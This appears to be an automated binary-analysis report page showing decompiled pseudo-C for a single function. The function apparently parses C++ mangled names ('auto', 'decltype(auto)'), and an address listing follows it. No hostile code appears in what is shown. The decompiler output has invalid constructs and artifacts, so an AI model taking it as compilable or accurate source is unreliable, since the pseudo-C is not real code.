Instruction ID: 1f3cd62c5989bbffa23012c428586ae8424e92c369d9e64fbd51aebbbacef7f4
Opcode Fuzzy Hash: 44a2561c20f095da09d215fa21535cf1f3f3e38f5ff2b2dd03732f30505f47cf
Instruction Fuzzy Hash: 571191B0A052008FE740AF65E44532A7BF1FB22308F45919DD5854B766D77DD804CFAE

Uniqueness

Uniqueness Score: -1.00%

Function 004172D0 Relevance: 1.7, APIs: 1, Instructions: 442
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E004172D0(void* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				signed int _t255;
				void* _t258;
				signed int _t259;
				signed int _t260;
				signed int _t262;
				signed char _t263;
				void* _t271;
				signed int _t284;
				signed int _t285;
				signed int _t286;
				void* _t294;
				char* _t298;
				signed int _t299;
				void* _t308;
				signed int* _t309;

				_push(__edi);
				_push(__esi);
				_push(__ebx);
				_t271 = __eax;
				_t309 = _t308 - 0x3c;
				_t298 =  *((intOrPtr*)(__eax + 0xc));
				if(E004161A0(_t298, __ecx) != 0) {
					_t255 = E00417E60(_t271, 0,  &(_t309[0xb]));
					_t299 = _t255;
					__eflags = _t255;
					if(_t255 == 0) {
						goto L6;
					} else {
						__eflags =  *((char*)( *((intOrPtr*)(_t271 + 0xc)))) - 0x46;
						_t258 = _t271;
						if(__eflags == 0) {
							_t259 = E004180F0(_t258);
							_t284 = _t259;
							 *_t299 = _t259;
						} else {
							_t262 = E004172D0(_t258, _t271, 0, __edi, _t299, __eflags);
							 *_t299 = _t262;
							_t284 = _t262;
						}
						__eflags = _t284;
						if(_t284 == 0) {
							goto L6;
						} else {
							_t294 =  *_t284;
							_t260 = _t309[0xb];
							_t15 = _t294 - 0x1f; // -31
							__eflags = _t15 - 1;
							if(_t15 <= 1) {
								 *(8 + _t284) = _t260;
								_t309[0xb] =  *_t299;
								 *_t299 =  *(8 + _t284);
								_t260 = _t309[0xb];
							}
							__eflags = _t260;
							if(_t260 == 0) {
								goto L6;
							} else {
								_t285 =  *(_t271 + 0x20);
								__eflags = _t285 -  *((intOrPtr*)(_t271 + 0x24));
								if(_t285 >=  *((intOrPtr*)(_t271 + 0x24))) {
									goto L6;
								} else {
									 *( *((intOrPtr*)(_t271 + 0x1c)) + _t285 * 4) = _t260;
									_t286 = _t285 + 1;
									__eflags = _t286;
									 *(_t271 + 0x20) = _t286;
									return _t260;
								}
							}
						}
					}
				} else {
					_t263 =  *_t298 - 0x30;
					if(_t263 > 0x4a) {
						L6:
						goto L7;
					} else {
						switch( *((intOrPtr*)((_t263 & 0x000000ff) * 4 +  &M005C1D4C))) {
							case 0:
								__eax = __ebx;
								__eax = E00416DF0(__ebx);
								__esp[0xb] = __eax;
								goto L19;
							case 1:
								goto L6;
							case 2:
								__edi = __esi + 1;
								 *(__ebx + 0xc) = __edi;
								__eax =  *(__esi + 1) & 0x000000ff;
								__eflags = __al - 0x5f;
								if(__eflags == 0) {
									__ebp = 0;
									goto L58;
								} else {
									__eax = __eax - 0x30;
									__esi = __edi;
									__eflags = __al - 9;
									if(__al <= 9) {
										while(1) {
											_t95 = __esi + 1; // 0x2
											__edx = _t95;
											 *(__ebx + 0xc) = __edx;
											 *(__esi + 1) & 0x000000ff = ( *(__esi + 1) & 0x000000ff) - 0x30;
											__eflags = __al - 9;
											if(__al > 9) {
												break;
											}
											__esi = __edx;
										}
										__ecx = __edx;
										__eax =  *(__ebx + 0x14);
										__ecx = __edx - __edi;
										__eflags = __eax -  *((intOrPtr*)(__ebx + 0x18));
										if(__eax >=  *((intOrPtr*)(__ebx + 0x18))) {
											goto L6;
										} else {
											__ebp = __eax;
											__eax = __eax + 1;
											__ebp = __ebp << 4;
											__ebp = __ebp +  *((intOrPtr*)(__ebx + 0x10));
											 *(__ebp + 4) = 0;
											 *(__ebx + 0x14) = __eax;
											__eflags = __ecx;
											if(__ecx == 0) {
												goto L6;
											} else {
												 *(__ebp + 4) = 0;
												 *__ebp = 0;
												 *(8 + __ebp) = __edi;
												 *(__ebp + 0xc) = __ecx;
												__eax =  *(__esi + 1) & 0x000000ff;
												goto L57;
											}
										}
									} else {
										__esi =  *(__ebx + 0x30);
										 *(__ebx + 0x30) = 1;
										__eax = __ebx;
										__eax = E00416580(__ebx);
										 *(__ebx + 0x30) = __esi;
										__ebp = __eax;
										__eflags = __eax;
										if(__eax == 0) {
											goto L6;
										} else {
											__edx =  *(__ebx + 0xc);
											__eax =  *__edx & 0x000000ff;
											L57:
											__edi = __edx;
											__eflags = __al - 0x5f;
											if(__eflags != 0) {
												goto L6;
											} else {
												L58:
												__edi = __edi + 1;
												__eax = __ebx;
												 *(__ebx + 0xc) = __edi;
												__eax = E004172D0(__ebx, __ebx, __ecx, __edi, __esi, __eflags);
												__ecx = __ebp;
												__edx = 0x2a;
												 *__esp = __eax;
												__eax = __ebx;
												__eax = E00415A10(__ebp, 0x2a);
												__esp[0xb] = __eax;
												goto L19;
											}
										}
									}
								}
								goto L126;
							case 3:
								__esi = __esi + 1;
								__eax = __ebx;
								 *(__ebx + 0xc) = __esi;
								__eax = E004172D0(__ebx, __ebx, __ecx, __edi, __esi, __eflags);
								 *__esp = 0;
								__edx = 0x25;
								__ecx = __eax;
								__eax = __ebx;
								__eax = E00415A10(__ecx, 0x25);
								__esp[0xb] = __eax;
								goto L19;
							case 4:
								__eax = __esi + 1;
								 *(__ebx + 0xc) = __esi + 1;
								__eflags =  *(__esi + 1);
								if( *(__esi + 1) == 0) {
									goto L6;
								} else {
									__eax = __esi + 2;
									 *(__ebx + 0xc) = __esi + 2;
									 *(__esi + 1) & 0x000000ff = ( *(__esi + 1) & 0x000000ff) - 0x46;
									__eflags = __al - 0x30;
									if(__eflags > 0) {
										goto L6;
									} else {
										__eax = __al & 0x000000ff;
										switch( *((intOrPtr*)(__eax * 4 +  &M005C1E78))) {
											case 0:
												goto L79;
											case 1:
												goto L6;
											case 2:
												goto L3;
											case 3:
												goto L92;
											case 4:
												goto L76;
											case 5:
												goto L74;
											case 6:
												goto L72;
											case 7:
												goto L88;
											case 8:
												goto L86;
											case 9:
												goto L90;
											case 0xa:
												goto L70;
											case 0xb:
												goto L78;
											case 0xc:
												goto L68;
											case 0xd:
												goto L62;
										}
									}
								}
								goto L126;
							case 5:
								__eax = __ebx;
								__eax = E004180F0(__ebx);
								__esp[0xb] = __eax;
								goto L19;
							case 6:
								__esi = __esi + 1;
								__eax = __ebx;
								 *(__ebx + 0xc) = __esi;
								__eax = E004172D0(__ebx, __ebx, __ecx, __edi, __esi, __eflags);
								 *__esp = 0;
								__edx = 0x26;
								__ecx = __eax;
								__eax = __ebx;
								__eax = E00415A10(__ecx, 0x26);
								__esp[0xb] = __eax;
								goto L19;
							case 7:
								__esi = __esi + 1;
								__eax = __ebx;
								 *(__ebx + 0xc) = __esi;
								__eax = E004172D0(__ebx, __ebx, __ecx, __edi, __esi, __eflags);
								__esi = __eax;
								__eflags = __eax;
								if(__eflags == 0) {
									goto L6;
								} else {
									__eax = __ebx;
									__eax = E004172D0(__ebx, __ebx, __ecx, __edi, __esi, __eflags);
									__eflags = __eax;
									if(__eax == 0) {
										goto L6;
									} else {
										 *__esp = __eax;
										__ecx = __esi;
										__edx = 0x2b;
										__eax = __ebx;
										__eax = E00415A10(__esi, 0x2b);
										__esp[0xb] = __eax;
										goto L19;
									}
								}
								goto L126;
							case 8:
								__esi = __esi + 1;
								__eax = __ebx;
								 *(__ebx + 0xc) = __esi;
								__eax = E004172D0(__ebx, __ebx, __ecx, __edi, __esi, __eflags);
								 *__esp = 0;
								__edx = 0x24;
								__ecx = __eax;
								__eax = __ebx;
								__eax = E00415A10(__ecx, 0x24);
								__esp[0xb] = __eax;
								goto L19;
							case 9:
								__esi = __esi + 1;
								__eax = __ebx;
								 *(__ebx + 0xc) = __esi;
								__eax = E004172D0(__ebx, __ebx, __ecx, __edi, __esi, __eflags);
								 *__esp = 0;
								__edx = 0x22;
								__ecx = __eax;
								__eax = __ebx;
								__eax = E00415A10(__ecx, 0x22);
								__esp[0xb] = __eax;
								goto L19;
							case 0xa:
								__esi = __esi + 1;
								__eax = __ebx;
								 *(__ebx + 0xc) = __esi;
								__eax = E004172D0(__ebx, __ebx, __ecx, __edi, __esi, __eflags);
								 *__esp = 0;
								__edx = 0x23;
								__ecx = __eax;
								__eax = __ebx;
								__eax = E00415A10(__ecx, 0x23);
								__esp[0xb] = __eax;
								goto L19;
							case 0xb:
								__eax =  *(__esi + 1) & 0x000000ff;
								_t70 = __eax - 0x30; // -48
								__edx = _t70;
								__eflags = __dl - 9;
								if(__dl <= 9) {
									L38:
									__edx = 0;
									__eax = __ebx;
									__eax = E00415F50(__ebx, 0);
									__edx =  *(__ebx + 0xc);
									__esp[0xb] = __eax;
									__eflags =  *__edx - 0x49;
									if( *__edx != 0x49) {
										goto L7;
									} else {
										__edx = __edx + 1;
										goto L33;
									}
								} else {
									__eflags = __al - 0x5f;
									if(__al == 0x5f) {
										goto L38;
									} else {
										__eax = __eax - 0x41;
										__eflags = __al - 0x19;
										if(__al > 0x19) {
											__eax = __ebx;
											__eax = E00416DF0(__ebx);
											__esp[0xb] = __eax;
											__eflags = __eax;
											if(__eax == 0) {
												goto L6;
											} else {
												__eflags =  *__eax - 0x18;
												if( *__eax != 0x18) {
													goto L20;
												} else {
													goto L7;
												}
											}
										} else {
											goto L38;
										}
									}
								}
								goto L126;
							case 0xc:
								__eax = __ebx;
								__eax = E00415D20(__ebx);
								__esi =  *(__ebx + 0xc);
								__esp[0xb] = __eax;
								__eflags =  *__esi - 0x49;
								if( *__esi != 0x49) {
									goto L19;
								} else {
									__edx =  *(__ebx + 0x34);
									__eflags =  *(__ebx + 0x34);
									if( *(__ebx + 0x34) != 0) {
										__eax =  *(__ebx + 0x2c);
										__ebp =  *(__ebx + 0x14);
										__edi =  *(__ebx + 0x20);
										__esp[7] =  *(__ebx + 0x2c);
										__eax = __esi + 1;
										 *(__ebx + 0xc) = __esi + 1;
										__eax = __ebx;
										__eax = E00416CB0(__ebx, __ecx);
										__ecx =  *(__ebx + 0xc);
										__eflags =  *( *(__ebx + 0xc)) - 0x49;
										if( *( *(__ebx + 0xc)) == 0x49) {
											__ecx = __esp[0xb];
											__eflags = __ecx;
											if(__ecx == 0) {
												goto L6;
											} else {
												__edx =  *(__ebx + 0x20);
												__eflags = __edx -  *((intOrPtr*)(__ebx + 0x24));
												if(__edx >=  *((intOrPtr*)(__ebx + 0x24))) {
													goto L6;
												} else {
													__esi =  *(__ebx + 0x1c);
													 *( *(__ebx + 0x1c) + __edx * 4) = __ecx;
													 *(__ebx + 0x20) = __edx;
													__edx = 4;
													 *__esp = __eax;
													__eax = __ebx;
													__eax = E00415A10(__ecx, 4);
													__esp[0xb] = __eax;
													goto L19;
												}
											}
										} else {
											__eax = __esp[7];
											 *(__ebx + 0xc) = __esi;
											 *(__ebx + 0x14) = __ebp;
											 *(__ebx + 0x2c) = __esp[7];
											__eax = __esp[0xb];
											 *(__ebx + 0x20) = __edi;
											goto L19;
										}
									} else {
										__eflags = __eax;
										if(__eax == 0) {
											goto L6;
										} else {
											__ecx =  *(__ebx + 0x20);
											__eflags = __ecx -  *((intOrPtr*)(__ebx + 0x24));
											if(__ecx >=  *((intOrPtr*)(__ebx + 0x24))) {
												goto L6;
											} else {
												__edx =  *(__ebx + 0x1c);
												 *( *(__ebx + 0x1c) + __ecx * 4) = __eax;
												 *(__ebx + 0x20) = __ecx;
												_t64 = ( *__esi & 0x000000ff) - 0x49; // -73
												__ecx = _t64;
												__eax = 0;
												__eflags = __cl - 1;
												if(__cl <= 1) {
													__edx = __esi + 1;
													L33:
													 *(__ebx + 0xc) = __edx;
													__eax = __ebx;
													__eax = E00416CB0(__ebx, __ecx);
												}
												 *__esp = __eax;
												__ecx = __esp[0xb];
												__edx = 4;
												__eax = __ebx;
												__eax = E00415A10(__esp[0xb], 4);
												__esp[0xb] = __eax;
												goto L19;
											}
										}
									}
								}
								goto L126;
							case 0xd:
								__esi = __esi + 1;
								__eax = __ebx;
								 *(__ebx + 0xc) = __esi;
								__eax = E00415D80(__ebx);
								__esp[0xb] = __eax;
								__esi = __eax;
								__eax =  *(__ebx + 0xc);
								__eflags =  *__eax - 0x49;
								if(__eflags == 0) {
									 *(__ebx + 0xc) = __eax;
									__eax = __ebx;
									__eax = E00416CB0(__ebx, __ecx);
									__ecx = __esp[0xb];
									__edx = 4;
									 *__esp = __eax;
									__eax = __ebx;
									__eax = E00415A10(__ecx, 4);
									__esi = __eax;
									__esp[0xb] = __eax;
								}
								__eax = __ebx;
								__eax = E004172D0(__ebx, __ebx, __ecx, __edi, __esi, __eflags);
								 *__esp = __esi;
								__edx = 0x21;
								__ecx = __eax;
								__eax = __ebx;
								__eax = E00415A10(__ecx, 0x21);
								__esp[0xb] = __eax;
								goto L19;
							case 0xe:
								__eax = __edx + __edx * 4 - 0x1e5;
								__edx =  *(__ebx + 0x14);
								__ecx = 0x5c2fe0 + __eax * 4;
								__eflags = __edx -  *((intOrPtr*)(__ebx + 0x18));
								if(__edx >=  *((intOrPtr*)(__ebx + 0x18))) {
									goto L111;
								} else {
									__eax = __edx;
									__esi = __esi + 1;
									__edx = __edx + 1;
									__eax = __eax << 4;
									__eax = __eax +  *((intOrPtr*)(__ebx + 0x10));
									 *(__eax + 4) = 0;
									 *(__ebx + 0x14) = __edx;
									__edx =  *(__ecx + 4);
									 *__eax = 0x27;
									 *(8 + __eax) = __ecx;
									 *(__ebx + 0x2c) =  *(__ebx + 0x2c) +  *(__ecx + 4);
									 *(__ebx + 0xc) = __esi;
									goto L7;
								}
								goto L126;
							case 0xf:
								__esi = __esi + 1;
								__eax = __ebx;
								 *(__ebx + 0xc) = __esi;
								__eax = E00415D80(__ebx);
								 *__esp = 0;
								__edx = 0x28;
								__ecx = __eax;
								__eax = __ebx;
								__eax = E00415A10(__ecx, 0x28);
								__esp[0xb] = __eax;
								goto L19;
							case 0x10:
								L79:
								__eax =  *(__ebx + 0x14);
								__eflags = __eax -  *((intOrPtr*)(__ebx + 0x18));
								if(__eax >=  *((intOrPtr*)(__ebx + 0x18))) {
									goto L114;
								} else {
									__edi = __eax;
									__eax = __eax + 1;
									__edx = 0;
									__edi = __edi << 4;
									__edi = __edi +  *((intOrPtr*)(__ebx + 0x10));
									 *(__edi + 4) = 0;
									__esp[0xb] = __edi;
									 *(__ebx + 0x14) = __eax;
									 *__edi = 0x2c;
									 *(__esi + 2) & 0x000000ff = ( *(__esi + 2) & 0x000000ff) - 0x30;
									__eflags = __al - 9;
									_t163 = __al - 9 < 0;
									__eflags = _t163;
									__edx = 0 | _t163;
									 *((short*)(__edi + 0xc)) = __dx;
									if(__eflags <= 0) {
										__ebx + 0xc = E00415BE0(__ebx + 0xc);
										__edi = __esp[0xb];
									}
									__eax = __ebx;
									 *((intOrPtr*)(8 + __edi)) = E004172D0(__ebx, __ebx, __ecx, __edi, __esi, __eflags);
									__eax = __esp[0xb];
									__eax =  *(8 + __esp[0xb]);
									__eflags = __eax;
									if(__eax == 0) {
										goto L6;
									} else {
										__ebx + 0xc = E00415BE0(__ebx + 0xc);
										__eax =  *(__ebx + 0xc);
										__edx = 0;
										__eflags =  *__eax;
										if( *__eax != 0) {
											__edx = __eax + 1;
											 *(__ebx + 0xc) = __eax + 1;
											__edx =  *__eax & 0x000000ff;
										}
										__eflags = __dl - 0x73;
										__eax = __esp[0xb];
										__edx = __dl & 0x000000ff;
										 *((short*)(__esp[0xb] + 0xe)) = __dx;
									}
									goto L7;
								}
								goto L126;
							case 0x11:
								L3:
								 *(_t271 + 0x30) = 1;
								_t266 = E00416580(_t271);
								 *_t309 = 0;
								_t268 = E00415A10(_t266, 0x42);
								_t309[0xb] = _t268;
								if(_t268 == 0) {
									goto L6;
								} else {
									_t289 =  *((intOrPtr*)(_t271 + 0xc));
									if( *_t289 == 0) {
										goto L6;
									} else {
										 *((intOrPtr*)(_t271 + 0xc)) = _t289 + 1;
										if( *_t289 == 0x45) {
											goto L20;
										} else {
											goto L6;
										}
									}
								}
								goto L126;
							case 0x12:
								L92:
								__edx =  *(__ebx + 0x14);
								__eflags = __edx -  *((intOrPtr*)(__ebx + 0x18));
								if(__edx >=  *((intOrPtr*)(__ebx + 0x18))) {
									goto L6;
								} else {
									__eax = __edx;
									__edx = __edx + 1;
									__eax = __eax << 4;
									__eax = __eax +  *((intOrPtr*)(__ebx + 0x10));
									 *(__ebx + 0x14) = __edx;
									 *(__eax + 4) = 0;
									 *__eax = 0;
									 *(8 + __eax) = "auto";
									 *(__eax + 0xc) = 4;
								}
								goto L7;
							case 0x13:
								L76:
								__edx =  *(__ebx + 0x14);
								__eflags = __edx -  *((intOrPtr*)(__ebx + 0x18));
								if(__edx >=  *((intOrPtr*)(__ebx + 0x18))) {
									goto L6;
								} else {
									__eax = __edx;
									__edx = __edx + 1;
									__eax = __eax << 4;
									__eax = __eax +  *((intOrPtr*)(__ebx + 0x10));
									 *(__ebx + 0x14) = __edx;
									 *(__eax + 4) = 0;
									 *__eax = 0;
									 *(8 + __eax) = "decltype(auto)";
									 *(__eax + 0xc) = 0xe;
								}
								goto L7;
							case 0x14:
								L74:
								__edx =  *(__ebx + 0x14);
								__eflags = __edx -  *((intOrPtr*)(__ebx + 0x18));
								if(__edx >=  *((intOrPtr*)(__ebx + 0x18))) {
									goto L108;
								} else {
									__eax = __edx;
									__edx = __edx + 1;
									__eax = __eax << 4;
									__eax = __eax +  *((intOrPtr*)(__ebx + 0x10));
									 *(__eax + 4) = 0;
									 *(__ebx + 0x14) = __edx;
									 *__eax = 0x27;
									 *(8 + __eax) = 0x5c31fc;
									 *(__ebx + 0x2c) =  *(__ebx + 0x2c) + 9;
									goto L7;
								}
								goto L126;
							case 0x15:
								L72:
								__edx =  *(__ebx + 0x14);
								__eflags = __edx -  *((intOrPtr*)(__ebx + 0x18));
								if(__edx >=  *((intOrPtr*)(__ebx + 0x18))) {
									__esp[0xb] = 0;
									__eax =  *8;
									asm("ud2");
									L108:
									__esp[0xb] = 0;
									__eax =  *8;
									asm("ud2");
									goto L109;
								} else {
									__eax = __edx;
									__edx = __edx + 1;
									__eax = __eax << 4;
									__eax = __eax +  *((intOrPtr*)(__ebx + 0x10));
									 *(__eax + 4) = 0;
									 *(__ebx + 0x14) = __edx;
									 *__eax = 0x27;
									 *(8 + __eax) = 0x5c3210;
									 *(__ebx + 0x2c) =  *(__ebx + 0x2c) + 0xa;
									goto L7;
								}
								goto L126;
							case 0x16:
								L88:
								__edx =  *(__ebx + 0x14);
								__eflags = __edx -  *((intOrPtr*)(__ebx + 0x18));
								if(__edx >=  *((intOrPtr*)(__ebx + 0x18))) {
									goto L113;
								} else {
									__eax = __edx;
									__edx = __edx + 1;
									__eax = __eax << 4;
									__eax = __eax +  *((intOrPtr*)(__ebx + 0x10));
									 *(__eax + 4) = 0;
									 *(__ebx + 0x14) = __edx;
									 *__eax = 0x27;
									 *(8 + __eax) = 0x5c31e8;
									 *(__ebx + 0x2c) =  *(__ebx + 0x2c) + 9;
									goto L7;
								}
								goto L126;
							case 0x17:
								L86:
								__edx =  *(__ebx + 0x14);
								__eflags = __edx -  *((intOrPtr*)(__ebx + 0x18));
								if(__edx >=  *((intOrPtr*)(__ebx + 0x18))) {
									goto L110;
								} else {
									__eax = __edx;
									__edx = __edx + 1;
									__eax = __eax << 4;
									__eax = __eax +  *((intOrPtr*)(__ebx + 0x10));
									 *(__eax + 4) = 0;
									 *(__ebx + 0x14) = __edx;
									 *__eax = 0x27;
									 *(8 + __eax) = 0x5c3224;
									 *(__ebx + 0x2c) =  *(__ebx + 0x2c) + 4;
									goto L7;
								}
								goto L126;
							case 0x18:
								L90:
								__edx =  *(__ebx + 0x14);
								__eflags = __edx -  *((intOrPtr*)(__ebx + 0x18));
								if(__edx >=  *((intOrPtr*)(__ebx + 0x18))) {
									L109:
									__esp[0xb] = 0;
									__eax =  *8;
									asm("ud2");
									L110:
									__esp[0xb] = 0;
									__eax =  *8;
									asm("ud2");
									L111:
									__esp[0xb] = 0;
									__eax =  *8;
									asm("ud2");
									goto L112;
								} else {
									__eax = __edx;
									__edx = __edx + 1;
									__eax = __eax << 4;
									__eax = __eax +  *((intOrPtr*)(__ebx + 0x10));
									 *(__eax + 4) = 0;
									 *(__ebx + 0x14) = __edx;
									 *__eax = 0x27;
									 *(8 + __eax) = 0x5c324c;
									 *(__ebx + 0x2c) = 8 +  *(__ebx + 0x2c);
									goto L7;
								}
								goto L126;
							case 0x19:
								L70:
								__edx =  *(__ebx + 0x14);
								__eflags = __edx -  *((intOrPtr*)(__ebx + 0x18));
								if(__edx >=  *((intOrPtr*)(__ebx + 0x18))) {
									goto L115;
								} else {
									__eax = __edx;
									__edx = __edx + 1;
									__eax = __eax << 4;
									__eax = __eax +  *((intOrPtr*)(__ebx + 0x10));
									 *(__eax + 4) = 0;
									 *(__ebx + 0x14) = __edx;
									 *__eax = 0x27;
									 *(8 + __eax) = 0x5c3260;
									 *(__ebx + 0x2c) =  *(__ebx + 0x2c) + 0x11;
									goto L7;
								}
								goto L126;
							case 0x1a:
								L78:
								__eax = __ebx;
								__eax = E004172D0(__ebx, __ebx, __ecx, __edi, __esi, __eflags);
								 *__esp = 0;
								__edx = 0x4a;
								__ecx = __eax;
								__eax = __ebx;
								__eax = E00415A10(__ecx, 0x4a);
								__esp[0xb] = __eax;
								goto L19;
							case 0x1b:
								L68:
								__edx =  *(__ebx + 0x14);
								__eflags = __edx -  *((intOrPtr*)(__ebx + 0x18));
								if(__edx >=  *((intOrPtr*)(__ebx + 0x18))) {
									L112:
									__esp[0xb] = 0;
									__eax =  *8;
									asm("ud2");
									L113:
									__esp[0xb] = 0;
									__eax =  *8;
									asm("ud2");
									L114:
									 *0 = 0;
									asm("ud2");
									L115:
									__esp[0xb] = 0;
									__eax =  *8;
									asm("ud2");
									__edx = __edx + 1;
									__eflags = __edx;
									 *__esp = __eax;
									if(__edx == 0) {
										E004ABE80();
									}
									__eax = E00422E70(__eax, __ebx, __edx, __edi, __esi);
									__edx = __edx + 1;
									__eflags = __edx;
									 *__esp = __eax;
									if(__edx == 0) {
										E004ABE80();
									}
									__eax = E00422E70(__eax, __ebx, __edx, __edi, __esi);
									__esp = __esp - 0x1c;
									__eax =  *0x5b89d4; // 0x2
									__eflags = __eax;
									if(__eax != 0) {
										__eax = E00420810(0x5b8cb8);
									}
									 *__esp = 0x4a00;
									 *0x5b8cc8 = 0x4a00; // executed
									__eax = malloc(??); // executed
									 *0x5b8cc4 = __eax;
									__eflags = __eax;
									if(__eax == 0) {
										 *0x5b8cc8 = 0;
										 *0x5b8cc0 = 0;
									} else {
										 *0x5b8cc0 = __eax;
										 *__eax = 0x4a00;
										 *(__eax + 4) = 0;
									}
									__eax = E004014C0(0x4acad0);
									__esp =  &(__esp[7]);
									return __eax;
								} else {
									__eax = __edx;
									__edx = __edx + 1;
									__eax = __eax << 4;
									__eax = __eax +  *((intOrPtr*)(__ebx + 0x10));
									 *(__eax + 4) = 0;
									 *(__ebx + 0x14) = __edx;
									 *__eax = 0x27;
									 *(8 + __eax) = 0x5c3238;
									 *(__ebx + 0x2c) = 8 +  *(__ebx + 0x2c);
									L7:
									return 0;
								}
								goto L126;
							case 0x1c:
								L62:
								__eflags =  *(__esi + 2) - 0x5f;
								_pop(__edi);
								if(__eflags == 0) {
									__esi = __esi + 3;
									__edi =  *(__ebx + 0x30);
									 *(__ebx + 0x30) = 1;
									__eax = __ebx;
									 *(__ebx + 0xc) = __esi;
									__eax = E00416580(__ebx);
									 *(__ebx + 0x30) = __edi;
									__esi = __eax;
								} else {
									__eax = __ebx;
									__esi = E00415CA0(__ebx);
								}
								__eflags = __esi;
								if(__esi == 0) {
									goto L6;
								} else {
									__eax =  *(__ebx + 0xc);
									__eflags =  *__eax - 0x5f;
									if(__eflags != 0) {
										goto L6;
									} else {
										 *(__ebx + 0xc) = __eax;
										__eax = __ebx;
										__eax = E004172D0(__ebx, __ebx, __ecx, __edi, __esi, __eflags);
										__ecx = __esi;
										__edx = 0x2d;
										 *__esp = __eax;
										__eax = __ebx;
										__eax = E00415A10(__esi, 0x2d);
										__esp[0xb] = __eax;
										L19:
										__eflags = __eax;
										if(__eax == 0) {
											goto L6;
										} else {
											L20:
											_t290 =  *(_t271 + 0x20);
											__eflags = _t290 -  *((intOrPtr*)(_t271 + 0x24));
											if(_t290 >=  *((intOrPtr*)(_t271 + 0x24))) {
												goto L6;
											} else {
												 *( *((intOrPtr*)(_t271 + 0x1c)) + _t290 * 4) = _t268;
												_t291 = _t290 + 1;
												__eflags = _t291;
												 *(_t271 + 0x20) = _t291;
												return _t309[0xb];
											}
										}
									}
								}
								goto L126;
						}
					}
				}
				L126:
			}

0x004172d1
0x004172d2
0x004172d3
0x004172d4
0x004172d6
0x004172d9
0x004172e5
0x00417358
0x0041735d
0x0041735f
0x00417361
0x00000000
0x00417363
0x00417366
0x00417369
0x0041736b
0x004173c0
0x004173c5
0x004173c7
0x0041736d
0x0041736d
0x00417372
0x00417374
0x00417374
0x00417376
0x00417378
0x00000000
0x0041737a
0x0041737a
0x0041737c
0x00417380
0x00417383
0x00417386
0x0041738b
0x00417390
0x00417394
0x00417396
0x00417396
0x0041739a
0x0041739c
0x00000000
0x0041739e
0x0041739e
0x004173a1
0x004173a4
0x00000000
0x004173a6
0x004173a9
0x004173ac
0x004173ac
0x004173af
0x004173b9
0x004173b9
0x004173a4
0x0041739c
0x00417378
0x004172e7
0x004172ea
0x004172ef
0x00417343
0x00000000
0x004172f1
0x004172f4
0x00000000
0x004173d0
0x004173d2
0x004173d7
0x00000000
0x00000000
0x00000000
0x00000000
0x004176c0
0x004176c3
0x004176c6
0x004176ca
0x004176cc
0x00417ab0
0x00000000
0x004176d2
0x004176d2
0x004176d5
0x004176d7
0x004176d9
0x004176e2
0x004176e2
0x004176e2
0x004176e5
0x004176ec
0x004176ef
0x004176f1
0x00000000
0x00000000
0x004176e0
0x004176e0
0x004176f3
0x004176f5
0x004176f8
0x004176fa
0x004176fd
0x00000000
0x00417703
0x00417703
0x00417705
0x00417708
0x0041770b
0x0041770e
0x00417715
0x00417718
0x0041771a
0x00000000
0x00417720
0x00417720
0x00417727
0x0041772e
0x00417731
0x00417734
0x00000000
0x00417734
0x0041771a
0x004176db
0x00417b03
0x00417b06
0x00417b0d
0x00417b0f
0x00417b14
0x00417b17
0x00417b19
0x00417b1b
0x00000000
0x00417b21
0x00417b21
0x00417b24
0x00417738
0x00417738
0x0041773a
0x0041773c
0x00000000
0x00417742
0x00417742
0x00417742
0x00417745
0x00417747
0x0041774a
0x0041774f
0x00417751
0x00417756
0x00417759
0x0041775b
0x00417760
0x00000000
0x00417760
0x0041773c
0x00417b1b
0x004176d9
0x00000000
0x00000000
0x00417690
0x00417693
0x00417695
0x00417698
0x0041769d
0x004176a4
0x004176a9
0x004176ab
0x004176ad
0x004176b2
0x00000000
0x00000000
0x00417660
0x00417663
0x00417666
0x0041766a
0x00000000
0x00417670
0x00417670
0x00417673
0x0041767a
0x0041767d
0x0041767f
0x00000000
0x00417685
0x00417685
0x00417688
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00417688
0x0041767f
0x00000000
0x00000000
0x00417650
0x00417652
0x00417657
0x00000000
0x00000000
0x00417620
0x00417623
0x00417625
0x00417628
0x0041762d
0x00417634
0x00417639
0x0041763b
0x0041763d
0x00417642
0x00000000
0x00000000
0x00417770
0x00417773
0x00417775
0x00417778
0x0041777d
0x0041777f
0x00417781
0x00000000
0x00417787
0x00417787
0x00417789
0x0041778e
0x00417790
0x00000000
0x00417796
0x00417796
0x00417799
0x0041779b
0x004177a0
0x004177a2
0x004177a7
0x00000000
0x004177a7
0x00417790
0x00000000
0x00000000
0x004175f0
0x004175f3
0x004175f5
0x004175f8
0x004175fd
0x00417604
0x00417609
0x0041760b
0x0041760d
0x00417612
0x00000000
0x00000000
0x004175c0
0x004175c3
0x004175c5
0x004175c8
0x004175cd
0x004175d4
0x004175d9
0x004175db
0x004175dd
0x004175e2
0x00000000
0x00000000
0x00417590
0x00417593
0x00417595
0x00417598
0x0041759d
0x004175a4
0x004175a9
0x004175ab
0x004175ad
0x004175b2
0x00000000
0x00000000
0x00417550
0x00417554
0x00417554
0x00417557
0x0041755a
0x0041756b
0x0041756b
0x0041756d
0x0041756f
0x00417574
0x00417577
0x0041757b
0x0041757e
0x00000000
0x00417584
0x00417584
0x00000000
0x00417584
0x0041755c
0x0041755c
0x0041755e
0x00000000
0x00417560
0x00417560
0x00417563
0x00417565
0x00417ab7
0x00417ab9
0x00417abe
0x00417ac2
0x00417ac4
0x00000000
0x00417aca
0x00417aca
0x00417acd
0x00000000
0x00417ad3
0x00000000
0x00417ad3
0x00417acd
0x00000000
0x00000000
0x00000000
0x00417565
0x0041755e
0x00000000
0x00000000
0x004174d0
0x004174d2
0x004174d7
0x004174da
0x004174de
0x004174e1
0x00000000
0x004174e7
0x004174e7
0x004174ea
0x004174ec
0x00417b2c
0x00417b2f
0x00417b32
0x00417b35
0x00417b39
0x00417b3c
0x00417b3f
0x00417b41
0x00417b46
0x00417b49
0x00417b4c
0x00417b67
0x00417b6b
0x00417b6d
0x00000000
0x00417b73
0x00417b73
0x00417b76
0x00417b79
0x00000000
0x00417b7f
0x00417b7f
0x00417b82
0x00417b88
